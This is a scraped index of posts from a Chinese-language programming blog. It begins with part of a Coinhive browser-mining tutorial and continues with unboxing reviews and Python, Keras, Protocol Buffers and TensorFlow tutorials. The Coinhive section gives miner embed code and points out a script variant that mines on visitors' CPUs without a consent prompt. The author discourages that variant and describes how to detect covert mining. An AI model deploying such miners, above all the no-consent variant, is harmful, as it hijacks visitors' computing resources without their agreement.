728×90），所以我們可以很方便的將這個 Coinhive 挖礦程式放在網頁的廣告版位上，不會破壞原有的網頁排版。放在網頁中呈現出來時就會像這樣：\n載入中... 點選「START MINING」之後，就會開始挖礦，透過這個介面，使用者可以很清楚看出挖礦程式的運行狀況，並且也可以自由調整 CPU 的使用數目，以及挖礦速度。\nSimple Miner UI 還有許多的參數可以調整，比較重要的應該就是 data-throttle，這個值代表挖礦程式的休息時間比例，他是一個介於 0 到 1 之間的值，若設定 0.1 就代表 10% 的時間休息，而 90% 的時間進行挖礦，以此類推，若不想讓挖礦程式太操 CPU，可以把這個值設大一點。\n其他的參數大概看名稱就知道用途了，以下是一個完整參數的範例：\n\u0026lt;!-- 完整參數範例 --\u0026gt; \u0026lt;div class=\u0026#34;coinhive-miner\u0026#34; style=\u0026#34;width: 336px; height: 280px\u0026#34; data-key=\u0026#34;podGIERF8pZAdWYk5TeqKR4NSX5qpYtF\u0026#34; data-autostart=\u0026#34;true\u0026#34; data-whitelabel=\u0026#34;false\u0026#34; data-background=\u0026#34;#000000\u0026#34; data-text=\u0026#34;#eeeeee\u0026#34; data-action=\u0026#34;#00ff00\u0026#34; data-graph=\u0026#34;#555555\u0026#34; data-threads=\u0026#34;4\u0026#34; data-throttle=\u0026#34;0.1\u0026#34;\u0026gt; \u0026lt;em\u0026gt;載入中 ...\u0026lt;/em\u0026gt; \u0026lt;/div\u0026gt; 事件處理 Coinhive 在某些時機會送出特定的事件（event），若要處理這些事件，可以將處理的函數寫在 onCoinHiveSimpleUIReady 之中（由於 simple-ui.min.js 是以非同步方式載入的關係）：\n\u0026lt;!-- 事件處理 --\u0026gt; \u0026lt;script\u0026gt; var onCoinHiveSimpleUIReady = function() { CoinHive.Miner.on(\u0026#39;authed\u0026#39;, function(params) { console.log(\u0026#39;Simple UI has authed with the pool\u0026#39;); }); CoinHive.Miner.on(\u0026#39;job\u0026#39;, function(params) { console.log(\u0026#39;New job received from pool\u0026#39;); }); } \u0026lt;/script\u0026gt; \u0026lt;!-- 讓使用者可以自己操作的挖礦介面 --\u0026gt; \u0026lt;div class=\u0026#34;coinhive-miner\u0026#34; style=\u0026#34;width: 336px; height: 280px\u0026#34; data-background=\u0026#34;#F8F8F8\u0026#34; data-key=\u0026#34;podGIERF8pZAdWYk5TeqKR4NSX5qpYtF\u0026#34;\u0026gt; \u0026lt;em\u0026gt;載入中 ...\u0026lt;/em\u0026gt; \u0026lt;/div\u0026gt; 背景挖礦程式 Coinhive 也有提供無介面的背景挖礦程式，首先引入 authedmine.min.js 這個 JavaScript 檔：\n\u0026lt;!-- 引入 Coinhive 挖礦程式 --\u0026gt; \u0026lt;script src=\u0026#34;https://authedmine.com/lib/authedmine.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 接著使用 JavaScript 來啟動 Coinhive 的挖礦程式：\n\u0026lt;script\u0026gt; var miner = new CoinHive.Anonymous( \u0026#39;podGIERF8pZAdWYk5TeqKR4NSX5qpYtF\u0026#39;, {throttle: .3} // 使用 70% 的 CPU 資源進行挖礦 ); // 在非手機平台，而且在四小時內沒有詢問過使用者時， // 才詢問使用者，執行挖礦程式 if (!miner.isMobile() \u0026amp;\u0026amp; !miner.didOptOut(14400)) { miner.start(); } \u0026lt;/script\u0026gt; 若使用這種無介面的背景挖礦程式，在啟動時就會跳出這樣的通知訊息，詢問使用者是否同意讓自己的 CPU 進行運算，若使用者同意，才執行挖礦。\n若不想讓 Coinhive 跳出挖礦通知，可以改用 coinhive.min.js：\n\u0026lt;!-- 無通知的 Coinhive 挖礦程式 --\u0026gt; \u0026lt;script src=\u0026#34;https://coinhive.com/lib/coinhive.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 雖然我們確實是可以透過無通知的 Coinhive 挖礦程式，強迫讓網頁瀏覽者幫忙挖礦，但是我個人感覺這種作法並非上策，除了讓使用者觀感不好之外（星巴克 Wi-Fi 挖礦事件），也會嚴重影響網站的效能，造成 SEO 分數下滑，所以請不要在正常網站上放這種程式。\nCoinhive 挖礦統計 在安裝好 Coinhive 的挖礦程式之後，我們就可以在 Dashboard 頁面中看到即時的挖礦統計資訊，包含目前即時的每秒計算的 hash 數目（挖礦速度）、累計 hash 數目以及獲得的門羅幣總金額。\n若要提領獲得的門羅幣，可以在「Settings」中的「Payment」頁面設定自己的門羅幣錢包位址，這樣當累計金額達到設定值的時候，Coinhive 就會自動進行支付的動作。\n辨別網站是否偷挖礦 現在用網頁挖礦的程式非常普遍，可能很多網站都會想利用這種新的模式來賺錢，如果想要辨別一個網站有沒有在背後偷偷挖礦，最直接的方式就是打開系統上的工作管理員，在「處理程序」的籤頁中，選擇以 CPU 來排序（用滑鼠點一下 CPU 那一欄），找出現在系統上最耗 CPU 的程式。\n如果發現自己的瀏覽器（例如 Google Chrome 或 Firefox 等）的 CPU 使用量在瀏覽網站的時候特別高，而且持續非常久，通常這時候電腦的風扇轉速也會增加（風扇聲音變大），遇到這種狀況大概就很有可能是挖礦程式了。\n當然有時候程式當掉也有可能會出現 CPU 使用率達 100% 的情況，若要真正確認網站是否有在挖礦，還是要看網頁原始碼，不過網頁的原始碼有時候也不是很容易可以看的出來，例如將 JavaScript 經過最小化編譯之後，又把檔案名稱改掉的話，就只能從瀏覽器的對外連線來查了。\n","permalink":"https://blog.gtwang.org/web-development/coinhive-website-crypto-miner-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 Coinhive 建立一個挖礦網頁，以網頁瀏覽者的電腦 CPU 進行挖礦。\u003c/p\u003e\n\u003cp\u003e加密貨幣（Cryptocurrency）是現今非常熱門的話題，以往大家都是使用自己的 CPU 或 GPU 來挖礦賺錢（例如 \u003ca href=\"/linux/minergate-mining-tool-tutorial/\"\u003eMinerGate\u003c/a\u003e），而現在已經有使用 JavaScript 實作的挖礦程式出現，可以直接放在網頁上，使用網頁瀏覽者的 CPU 挖礦。\u003c/p\u003e","title":"Coinhive 網頁 JavaScript 挖礦程式使用教學"},{"content":"本篇是 CyberSLIM S2-U3C 6G 雙槽硬碟外接盒簡單開箱文。\n最近買了一個 CyberSLIM S2-U3C 6G USB 3.0 雙槽硬碟外接盒，拍些照片記錄一下。\n這次的 CyberSLIM S2-U3C 6G 雙槽硬碟外接盒是從 PChome 買的，價格是 1490 元。\n開箱！\n這些是所有的內容物，一個硬碟外接盒、電源供應器、USB 3.0 連接線與說明書。\n這就是 CyberSLIM S2-U3C 6G 雙槽硬碟外接盒的正面，可以插兩個 3.5 吋或 2.5 吋的硬碟。\n這是控制面板，除了當連接電腦的硬碟外接盒之外，也可以直接進行硬碟對拷。\n側邊有兩個硬碟退出按鈕，我是感覺斷電後，直接拔硬碟比較快。\n這是後方的 USB 3.0 與電源插座。\n這是 USB 3.0 連接線。\n這是電源供應器。\n輸出電壓是 12V，電流可達 3000mA。\n這是我拿兩顆 3.5 吋硬碟插上去的樣子。\n開啟電源之後，面板會顯示硬碟讀寫狀況。\n我是感覺的種陽春的硬碟外接盒雖然功能簡單，但是對於需要時常抽換硬碟的人來說，非常方便，關於這個外接盒的實測數據，建議可以參考 XFastest 的文章。\n後來發現在插槽內部似乎有指紋與生鏽的痕跡，雖然不影響功能，但感覺不是很好，下次可能會考慮買比較高級的 NAS。\n","permalink":"https://blog.gtwang.org/unboxing/cyberslim-s2-u3c-6g-external-hard-drive-enclosure/","summary":"\u003cp\u003e本篇是 CyberSLIM S2-U3C 6G 雙槽硬碟外接盒簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近買了一個 CyberSLIM S2-U3C 6G USB 3.0 雙槽硬碟外接盒，拍些照片記錄一下。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這次的 CyberSLIM S2-U3C 6G 雙槽硬碟外接盒是從 PChome 買的，價格是 1490 元。\u003c/p\u003e","title":"[開箱] CyberSLIM S2-U3C 6G 雙槽硬碟外接盒"},{"content":"這裡介紹如何使用 cProfile 測量 Python 程式效能、找出效能瓶頸，並以 gprof2dot 產生視覺化分析圖表。\n較為大型的計算程式在開發完成後，通常都會接續著進行程式的執行效能測量與分析（profiling），找出程式的瓶頸所在，針對少數關鍵的程式碼進一步做最佳化，改善整體程式的執行速度。\n在 Python 中若要進行程式效能分析，有好幾種方式可以使用（請參考 Python 官方手冊），而對於一般的使用者而言，最適合的方式就是使用 cProfile 模組，以下是使用方式與實際範例。\nPython 範例程式 以下是一個簡單的 Python 程式 pi.py，此程式的目的是以蒙地卡羅方法計算 Pi 的近似值：\nfrom __future__ import division import random # 模擬次數 NB_POINTS = 10**7 # 判斷點是否落於單位圓內 def in_circle(x, y): return x**2 + y**2 \u0026lt; 1 # 計算 Pi 近似值 def compute_pi(nb_it): inside_count = sum(1 for _ in range(nb_it) if in_circle(random.random(),random.random())) return (inside_count / nb_it) * 4 if __name__ == \u0026#34;__main__\u0026#34;: print(compute_pi(NB_POINTS)) 接下來我們將示範如何以 cProfile 來測量這個程式的執行狀況。\ncProfile 分析程式執行狀況 若要測量一個獨立的程式，最直接又簡單的方式就是在執行時引入 cProfile 模組：\npython3 -m cProfile -s cumtime pi.py 在使用 -m 引入 cProfile 模組之後，再加上 -s 參數指定排序欄位，這裡我們以累計執行時間來排序（cumtime），執行後就會輸出類似這樣的量測報表：\n37857794 function calls (37857773 primitive calls) in 12.203 seconds Ordered by: cumulative time ncalls tottime percall cumtime percall filename:lineno(function) 4/1 0.000 0.000 12.203 12.203 {built-in method exec} 1 0.000 0.000 12.203 12.203 pi.py:1(\u0026lt;module\u0026gt;) 1 0.000 0.000 12.193 12.193 pi.py:12(compute_pi) 1 0.873 0.873 12.193 12.193 {built-in method sum} 7855933 6.159 0.000 11.320 0.000 pi.py:13(\u0026lt;genexpr\u0026gt;) 10000000 3.942 0.000 3.942 0.000 pi.py:8(in_circle) 20000000 1.219 0.000 1.219 0.000 {method 'random' of '_random.Random' objects} 6/2 0.000 0.000 0.010 0.005 \u0026lt;frozen importlib._bootstrap\u0026gt;:2234(_find_and_load) [略] 這個報表的欄位意義如下：\n欄位 意義 ncalls 呼叫次數（number of calls）。 tottime 總執行時間（total time），不含子函數的執行時間。 percall tottime 除以 ncalls。 cumtime 累計執行時間（cumulative time），包含子函數的執行時間。 percall cumtime 除以 ncalls。 filename:lineno(function) 函數名稱。 測試程式碼片段 如果只是要在 Python 程式中測試幾行程式的執行效能，可以使用 cProfile.run 執行要測量的程式碼：\nfrom __future__ import division import random # 引入 cProfile 模組 import cProfile NB_POINTS = 10**7 def in_circle(x, y): return x**2 + y**2 \u0026lt; 1 def compute_pi(nb_it): inside_count = sum(1 for _ in range(nb_it) if in_circle(random.random(),random.random())) return (inside_count / nb_it) * 4 if __name__ == \u0026#34;__main__\u0026#34;: # 測試程式碼片段 cProfile.run(\u0026#39;compute_pi(NB_POINTS)\u0026#39;) 這樣就會輸出程式碼片段的測量結果：\n37853493 function calls in 12.514 seconds Ordered by: standard name ncalls tottime percall cumtime percall filename:lineno(function) 1 0.000 0.000 12.514 12.514 \u0026lt;string\u0026gt;:1(\u0026lt;module\u0026gt;) 1 0.000 0.000 12.514 12.514 pi.py:12(compute_pi) 7853488 6.341 0.000 11.590 0.000 pi.py:13(\u0026lt;genexpr\u0026gt;) 10000000 3.983 0.000 3.983 0.000 pi.py:9(in_circle) 1 0.000 0.000 12.514 12.514 {built-in method exec} 1 0.924 0.924 12.514 12.514 {built-in method sum} 1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects} 20000000 1.265 0.000 1.265 0.000 {method 'random' of '_random.Random' objects} cProfile 結果輸出至檔案 由於 cProfile 的報表非常長，若是較為複雜的程式，我們會把這些資料以輸出至檔案：\npython3 -m cProfile -o pi.pstats pi.py -o 參數可以指定輸出的檔案名稱，其輸出的檔案格式是二進位檔，若要觀看這個檔案，可以使用 Python 的 pstats 模組：\npython3 -m pstats pi.pstats 進入 pstats 模組的互動式環境後，可用各種指令來整理與查看報表，鍵入問號 ? 可以看到可用的指令。最常用的指令就使用 sort 設定排序欄位：\nsort cumtime 接著再用 stats 輸出報表：\nstats 其輸出的報表就跟上面的類似。\nFri Dec 15 14:00:51 2017 pi.pstats 37858722 function calls (37858701 primitive calls) in 12.282 seconds Ordered by: cumulative time ncalls tottime percall cumtime percall filename:lineno(function) 4/1 0.000 0.000 12.282 12.282 {built-in method exec} 1 0.000 0.000 12.282 12.282 pi.py:1(\u0026lt;module\u0026gt;) 1 0.000 0.000 12.272 12.272 pi.py:12(compute_pi) 1 0.886 0.886 12.272 12.272 {built-in method sum} 7856861 6.190 0.000 11.386 0.000 pi.py:13(\u0026lt;genexpr\u0026gt;) 10000000 3.967 0.000 3.967 0.000 pi.py:8(in_circle) 20000000 1.229 0.000 1.229 0.000 {method 'random' of '_random.Random' objects} [略] 以 gprof2dot 產生視覺化圖形 若程式架構很複雜，光看簡單的文字報表可能會很難分析，這時候我們可以使用 gprof2dot 這個小工具，把 pstats 的資料轉為 dot 的格式，再將 dot 資料畫成圖形，以視覺化的方式呈現程式中各個函數之間的執行關係。\n首先安裝 gprof2dot 這個 Python 模組：\nsudo pip3 install gprof2dot 若要畫圖的話，也要安裝 graphviz：\n# Ubuntu Linux sudo apt-get install graphviz # CentOS Linux sudo yum install graphviz 安裝好必要的工具之後，就可以將剛剛產生的 pi.pstats 轉為 dot 資料，直接畫出圖形來：\npython3 -m gprof2dot -f pstats pi.pstats | dot -T png -o pi_profile.png 畫出來的圖會像這樣：\n上面這個計算 Pi 的範例因為比較單純，所以程式的流程圖畫出來比較陽春，感覺不出他有多好用，但若是換成實際的範例就會差很多。\n下面這張圖是我實際正在處理的 AI 分析程式，中間牽涉到影像的處理、還有使用到 Keras 以 GPU 來計算，靠這種圖來抓出程式的瓶頸會比文字報表方便很多。\n參考資料 EPHRAIN 子風的知識庫 PyMOTW ","permalink":"https://blog.gtwang.org/programming/python-cprofile-and-gprof2dot-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 cProfile 測量 Python 程式效能、找出效能瓶頸，並以 gprof2dot 產生視覺化分析圖表。\u003c/p\u003e\n\u003cp\u003e較為大型的計算程式在開發完成後，通常都會接續著進行程式的執行效能測量與分析（\u003ca href=\"https://en.wikipedia.org/wiki/Profiling_%28computer_programming%29\"\u003eprofiling\u003c/a\u003e），找出程式的瓶頸所在，針對少數關鍵的程式碼進一步做最佳化，改善整體程式的執行速度。\u003c/p\u003e","title":"Python 用 cProfile 測量程式效能瓶頸與 gprof2dot 視覺化分析教學"},{"content":"本篇是美國聲霸 SoundBot SB1023 FM 廣播藍牙喇叭時鐘鬧鐘的簡單開箱文。\n這個 SoundBot SB1023 藍牙喇叭是從 PChome 上買的，價格是 1790 元。\n整個盒子都是英文的，只有這張標籤有中文字。\n開箱！\n這是所有的內容物，除了藍牙喇叭主體之外，還包含一條 USB 連接線、3.5 mm 的音源線與說明書。\n這是藍牙喇叭的正面。\n這是藍牙喇叭的背面。\n控制面板只有幾個按鈕而已，許多功能的操作方式要看說明書，不然會不知道怎麼操作。\n背面有各種插座，包含音源輸入、MicroSD 卡插槽、USB 隨身碟插槽與電源。\n這是藍牙喇叭的底部。\n打開電源之後，面板上就會顯示時間，若切到其他模式，就會變成其他的資訊，例如收音機就會顯示 FM 的收聽頻率。\n這個喇叭有兩個 4 瓦的揚聲器，音量還滿大的，音質還不錯，小缺點就是操作介面不是非常方便，感覺功能很多，但是按鈕太少了一點。\n","permalink":"https://blog.gtwang.org/unboxing/soundbot-sb1023-radio-alarm-clock-bluetooth-speaker/","summary":"\u003cp\u003e本篇是美國聲霸 SoundBot SB1023 FM 廣播藍牙喇叭時鐘鬧鐘的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e這個 SoundBot SB1023 藍牙喇叭是從 PChome 上買的，價格是 1790 元。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"美國聲霸 SoundBot SB1023 FM 廣播藍牙喇叭時鐘鬧鐘\" loading=\"lazy\" src=\"/unboxing/soundbot-sb1023-radio-alarm-clock-bluetooth-speaker/soundbot-sb1023-radio-alarm-clock-bluetooth-speaker-20171214-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e整個盒子都是英文的，只有這張標籤有中文字。\u003c/p\u003e","title":"[開箱] 美國聲霸 SoundBot SB1023 FM 廣播藍牙喇叭時鐘鬧鐘"},{"content":"這裡介紹如何使用 Keras 儲存與載入訓練好的模型或參數，以利重複使用或部署產品。\n訓練一個實際的類神經網路模型會需要非常大量的運算，所以在模型訓練完之後，最好可以把訓練好的模型參數儲存下來，這樣之後在使用時就可以省去重新訓練的時間。\n在 Keras 中若要儲存與載入訓練好的模型或參數，可以使用其內建模型儲存與載入功能，將模型儲存於 HDF5 或 JSON 檔案中，以下是 Keras 儲存模型的操作方式。\nKeras 儲存與載入完整模型與參數 我們以簡單的手寫數字辨識 CNN 模型為範例，示範如何把訓練好的模型儲存起來。在模型訓練完之後，若要儲存整個模型，只要呼叫 save 函數，並指定 HDF5 的檔案名稱即可：\n# [略] # 訓練模型 model.fit(x_train, y_train, batch_size=128 * 2, epochs=12, verbose=1, validation_data=(x_test, y_test)) # 將模型儲存至 HDF5 檔案中 model.save(\u0026#39;my_model.h5\u0026#39;) # creates a HDF5 file \u0026#39;my_model.h5\u0026#39; 在模型儲存至 HDF5 檔案之後，未來要使用時就可以呼叫 keras.models.load_model 直接載入之前訓練好的模型：\n# 準備 x_test 與 y_test 資料 ... [略] # 從 HDF5 檔案中載入模型 model = tf.contrib.keras.models.load_model(\u0026#39;my_model.h5\u0026#39;) # 驗證模型 score = model.evaluate(x_test, y_test, verbose=) # 輸出結果 print(\u0026#39;Test loss:\u0026#39;, score[]) print(\u0026#39;Test accuracy:\u0026#39;, score[1]) 從 HDF5 載入的模型，使用起來跟原本的模型是一模一樣的：\nTest loss: 0.0300953536768 Test accuracy: 0.9897 只儲存與載入模型 如果只要將模型儲存起來，不儲存其中的參數，可以使用 to_json 或 to_yaml 將模型轉為 JSON 或 YAML 的文字資料，在自己儲存至檔案中：\n# 將模型匯出至 JSON（不含參數） json_string = model.to_json() # 將模型匯出至 YAML（不含參數） yaml_string = model.to_yaml() 若要從 JSON 或 YAML 重建模型，可以使用 model_from_json 或 model_from_yaml：\n# 從 JSON 資料重建模型 model = tf.contrib.keras.models.model_from_json(json_string) # 從 YAML 資料重建模型 model = tf.contrib.keras.models.model_from_yaml(yaml_string) 只儲存與載入參數 若只想要儲存模型的參數（也就是 weights），不包含模型本身，可以使用 save_weights：\n# 將參數儲存至 HDF5 檔案（不含模型） model.save_weights(\u0026#39;my_model_weights.h5\u0026#39;) 若要載入參數，可使用 load_weights：\n# 從 HDF5 檔案載入參數（不含模型） model.load_weights(\u0026#39;my_model_weights.h5\u0026#39;) 若要將儲存的參數載入至不同的模型中使用（模型不同，但有相同網路層，例如 fine-tuning 或 transfer-learning），可以加上 by_name 參數：\n# 載入參數至不同的模型中使用 model.load_weights(\u0026#39;my_model_weights.h5\u0026#39;, by_name = True) 範例 以下是一個簡單的範例，假設原始的模型如下，在原始模型訓練好之後，我們將這個模型的參數儲存下來：\n# 原始模型 model = Sequential() model.add(Dense(2, input_dim=3, name=\u0026#39;dense_1\u0026#39;)) model.add(Dense(3, name=\u0026#39;dense_2\u0026#39;)) # [略] # 儲存參數 model.save_weights(\u0026#34;weight_1.h5\u0026#34;) 接著我們又建立另外一個新的模型，而這個新的模型與舊的模型之間有部份的網路層是相同的，在將參數載入至新模型時，只有那些相同的網路層參數會受影響，其餘的參數則不會改變：\n# 新建模型 model = Sequential() # 相同網路層，會載入參數 model.add(Dense(2, input_dim=3, name=\u0026#39;dense_1\u0026#39;)) # 不同網路層，不會載入參數 model.add(Dense(10, name=\u0026#39;new_dense\u0026#39;)) # 載入參數，只會影響 dense_1 那一層 model.load_weights(fname, by_name = True) 自訂類別 若在模型中有包含自訂的網路層、類別或函數等，可在載入時加入 custom_objects 自訂物件參數，使其正常載入：\n# 假設模型中有包含一個自訂的 AttentionLayer 類別實體 model = tf.contrib.keras.models.load_model(\u0026#39;my_model.h5\u0026#39;, custom_objects = {\u0026#39;AttentionLayer\u0026#39;: AttentionLayer}) 亦可使用 CustomObjectScope 來載入自訂的類別實體：\n# 亦可使用 custom object scope 來載入自訂的類別實體 with CustomObjectScope({\u0026#39;AttentionLayer\u0026#39;: AttentionLayer}): model = load_model(\u0026#39;my_model.h5\u0026#39;) 自訂物件參數的用法，在 load_model、model_from_json 與 model_from_yaml 中都相同：\n# 從 JSON 資料中載入 model = model_from_json(json_string, custom_objects={\u0026#39;AttentionLayer\u0026#39;: AttentionLayer}) 常見問題 若在儲存或載入 HDF5 檔案時出現這樣的錯誤：\nImportError: `save_model` requires h5py. 代表系統上少裝了 h5py，用 pip 裝一下即可：\npip install h5py 參考資料 Keras ","permalink":"https://blog.gtwang.org/programming/keras-save-and-load-model-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 Keras 儲存與載入訓練好的模型或參數，以利重複使用或部署產品。\u003c/p\u003e\n\u003cp\u003e訓練一個實際的類神經網路模型會需要非常大量的運算，所以在模型訓練完之後，最好可以把訓練好的模型參數儲存下來，這樣之後在使用時就可以省去重新訓練的時間。\u003c/p\u003e","title":"Keras 儲存與載入訓練好的模型或參數教學"},{"content":"這裡介紹在 Python 使用 Protocol Buffers 格式來儲存資料的方式，以及實際應用範例。\nProtocol Buffers 是一種高效率、高彈性的結構化資料序列儲存格式，其類似 XML，但更省空間、處理效率更好，而且語法也更簡單。在使用 Protocol Buffers 前，我們會先定義資料的結構規則，再使用 Protocol Buffers 的編譯器產生適用於自己專案的 API 程式碼（例如 C++ 或 Python 程式碼等），然後在程式中呼叫這個 API 來存取 Protocol Buffers 格式的資料。\n以下是在 Python 程式中使用 Protocol Buffers 的流程。\nProtocol 資料格式 首先建立一個 .proto 檔，定義好自己的 Protocol 資料格式：\n/* 這是一個簡單的 Protocol 資料格式示範， 若要在 .proto 檔案中加入註解， 可使用 C/C++ 的註解語法。 */ // Protocol 資料格式版本 syntax = \u0026#34;proto2\u0026#34;; // 套件名稱 package tutorial; // 定義資料格式 message Person { // 基本資料 required string name = 1; required int32 id = 2; optional string email = 3; // 列舉型別 enum PhoneType { MOBILE = ; HOME = 1; WORK = 2; } // 定義另外一個 message message PhoneNumber { required string number = 1; optional PhoneType type = 2 [default = HOME]; } // 多筆 PhoneNumber 資料 repeated PhoneNumber phones = 4; } message AddressBook { // 多筆 Person 資料 repeated Person people = 1; } .proto 檔的語法相當類似 C++ 或 Java 的類別定義。一開始以 package 所定義的套件名稱是為了避免不同專案之間產生名稱衝突，但在 Python 之中都是以目錄結構來區別套件，所以 package 在 Python 中並沒有太多作用（但是在其他程式語言中就會需要，所以還是建議要加這一行）。\n在套件名稱定義之後，接著就是主要的資料格式，這裡的 message 就是打包許多資料的容器，一個 message 裡面可以包含各種的資料，例如 布林值（bool）、整數（int32）、單精度浮點數（float）、雙精度浮點數（double）與字串（string），而一個 message 之中也可以包含其他的 message。\n在這個例子中，我們定義一個名為 Person 的 message，其除了包含一些基本資料外，還包含多個名為 PhoneNumber 的 message，而最後又定義了一個 AddressBook 的 message，其中包含多筆 Person 的 message。\n我們也可以在一個 message 當中又定義另一個 message（就像這裡的PhoneNumber 定義放在 Persion 之中）。\nenum 是一種列舉型別，可限制欄位的資料只能是某些預定的值，例如這裡的 PhoneType 的值就只能是 MOBILE、HOME 或 WORK。\n在定義欄位時，欄位後方所加上的 = 1 與 = 2 等編號是代表欄位的識別標籤（tag），這些標籤在二進位編碼時會被使用到，標籤 1 到 15 在編碼時會比較省空間，16 以上的標籤在儲存時會多出一個位元組（byte），通常我們會讓重複出現（repeated）的欄位使用 15 以下的標籤，而不常出現的欄位則使用 16 以上的標籤，達到最佳化的的目的。\n每一個欄位都必須用以下其中一種 modifier 來標示該欄位的出現次數：\nrequired：必要欄位，不可省略，否則資料解析時就會出錯。 optional：選擇性欄位，若省略則會以預設值作為其值。 repeated：重複性欄位，表示該欄位可重複出現任何次數，或是完全不出現。在 Protocol Buffers 資料中會保留重複出現資料的順序，就類似陣列的概念。 編譯 Protocol Buffers 建立好 .proto 檔案之後，接著就可以用 Protocol Buffers 的編譯器將 .proto 檔案編譯出可用來存取 AddressBook（以及 Persion 與 PhoneNumber）資料的 API 程式碼。\n首先從 GitHub 上下載 Protocol Buffers 的編譯器，並安裝起來。若在 Ubuntu Linux 上，可直接使用 apt 安裝：\nsudo apt-get install protobuf-compiler 安裝完後，編譯 .proto 檔案：\n# 程式碼所在目錄 SRC_DIR=`pwd` # 輸出目錄 DST_DIR=`pwd` # 編譯 .proto 檔 protoc -I=$SRC_DIR --python_out=$DST_DIR $SRC_DIR/addressbook.proto 這裡我們要編譯出 Python 的 API，所以使用 --python_out 這個參數指定輸出目錄，若要輸出其他程式語言的 API，可以自行修改（例如 --cpp_out 與 --java_out）。\n編譯之後，就會產生一個 addressbook_pb2.py Python 指令稿，其中就包含了存取 AddressBook 用的 API。\n寫入 Protocol Buffers 資料 產生了存取 AddressBook 用的 API 之後，就可以在自己的 Python 程式中使用，以下是寫入 Protocol Buffers 資料的範例。\nimport addressbook_pb2 import sys # 指定 Protocol Buffer 資料檔 my_pb_file = \u0026#34;my_addr_book.pb\u0026#34; # 建立 AddressBook address_book = addressbook_pb2.AddressBook() # 增加一筆 Person 資料 person = address_book.people.add() # 設定 Person 基本資料 person.id = 123 person.name = \u0026#34;G. T. Wang\u0026#34; person.email = \u0026#34;guozhao.wang@gmail.com\u0026#34; # 新增第一筆電話 phone_number = person.phones.add() phone_number.number = \u0026#34;0912-345678\u0026#34; phone_number.type = addressbook_pb2.Person.MOBILE # 新增第二筆電話 phone_number = person.phones.add() phone_number.number = \u0026#34;06-1234567\u0026#34; phone_number.type = addressbook_pb2.Person.WORK # 寫入 AddressBook with open(my_pb_file, \u0026#34;wb\u0026#34;) as f: f.write(address_book.SerializeToString()) 此程式執行後，就會產生一個 my_addr_book.pb 二進位檔案，其內容就是這裡建立的 AddressBook。\n讀取 Protocol Buffers 資料 以下是讀取 Protocol Buffers 資料的範例。\nimport addressbook_pb2 import sys # 指定 Protocol Buffer 資料檔 my_pb_file = \u0026#34;my_addr_book.pb\u0026#34; # 建立 AddressBook address_book = addressbook_pb2.AddressBook() # 寫入 AddressBook with open(my_pb_file, \u0026#34;rb\u0026#34;) as f: address_book.ParseFromString(f.read()) # 顯示資料 for person in address_book.people: print(\u0026#34;Person ID:\u0026#34;, person.id) print(\u0026#34; Name:\u0026#34;, person.name) if person.HasField(\u0026#39;email\u0026#39;): print(\u0026#34; E-mail address:\u0026#34;, person.email) for phone_number in person.phones: if phone_number.type == addressbook_pb2.Person.MOBILE: print(\u0026#34; Mobile phone #:\u0026#34;, phone_number.number) elif phone_number.type == addressbook_pb2.Person.HOME: print(\u0026#34; Home phone #:\u0026#34;, phone_number.number) elif phone_number.type == addressbook_pb2.Person.WORK: print(\u0026#34; Work phone #:\u0026#34;, phone_number.number) 此程式執行後，就可以列出上面建立好的 AddressBook 內容：\nPerson ID: 123 Name: G. T. Wang E-mail address: guozhao.wang@gmail.com Mobile phone #: 0912-345678 Work phone #: 06-1234567 參考資料 Protocol Buffers Documentation ","permalink":"https://blog.gtwang.org/programming/python-protocol-buffers-tutorial/","summary":"\u003cp\u003e這裡介紹在 Python 使用 Protocol Buffers 格式來儲存資料的方式，以及實際應用範例。\u003c/p\u003e\n\u003cp\u003eProtocol Buffers 是一種高效率、高彈性的結構化資料序列儲存格式，其類似 XML，但更省空間、處理效率更好，而且語法也更簡單。在使用 Protocol Buffers 前，我們會先定義資料的結構規則，再使用 Protocol Buffers 的編譯器產生適用於自己專案的 API 程式碼（例如 C++ 或 Python 程式碼等），然後在程式中呼叫這個 API 來存取 Protocol Buffers 格式的資料。\u003c/p\u003e","title":"Python 使用 Protocol Buffers 教學與範例"},{"content":"這裡介如何使用自己的資料，以 TensorFlow Object Detection API 訓練出適用於特定物件的模型，建立自己的物件辨識系統。\n在 TensorFlow Object Detection API 自動辨識物件教學文章中，我們是直接使用既有已經訓練好的模型來辨識物件，但如果我們有一些比較特別的物件需要進行辨識，而這些物件又沒有被包含在既有模型中的話，就沒辦法直接使用既有的模型，這時候就需要先蒐集一些該物件的影像與標註資料，進一步訓練模型後，才能讓模型辨識出比較特別的物件。\n接下來將介紹如何使用自己的資料，訓練出可以辨識特定物件的模型，我們先以 Google 官方所提供的範例來說明自行訓練模型的流程。\n這裡我們將使用 Oxford-IIIT Pet Dataset 這套寵物的資料集來訓練一個寵物辨識模型，讓訓練出來的模型可以辨識出貓與狗的品種。\n在實作本篇的內容之前，請先參考上一篇的教學，下載 TensorFlow Object Detection API 的原始碼，編譯並安裝好。\n準備訓練用資料 使用 TensorFlow Object Detection API 訓練模型時，我們需要影像的資料，加上框住物件的方框（bounding box）以及該物件的類別資訊，而 Oxford-IIIT Pet Dataset 這套資料集所提供的 Dataset 與 Groundtruth data 兩包資料，就剛好涵蓋了我們所需要的所有資訊，請將這兩個壓縮檔下載下來，解壓縮之後放在 models/research/ 之中：\ncd models/research/ # 下載 Oxford-IIIT Pet Dataset wget http://www.robots.ox.ac.uk/~vgg/data/pets/data/images.tar.gz wget http://www.robots.ox.ac.uk/~vgg/data/pets/data/annotations.tar.gz # 解壓縮至 models/research/ tar zxvf images.tar.gz tar zxvf annotations.tar.gz 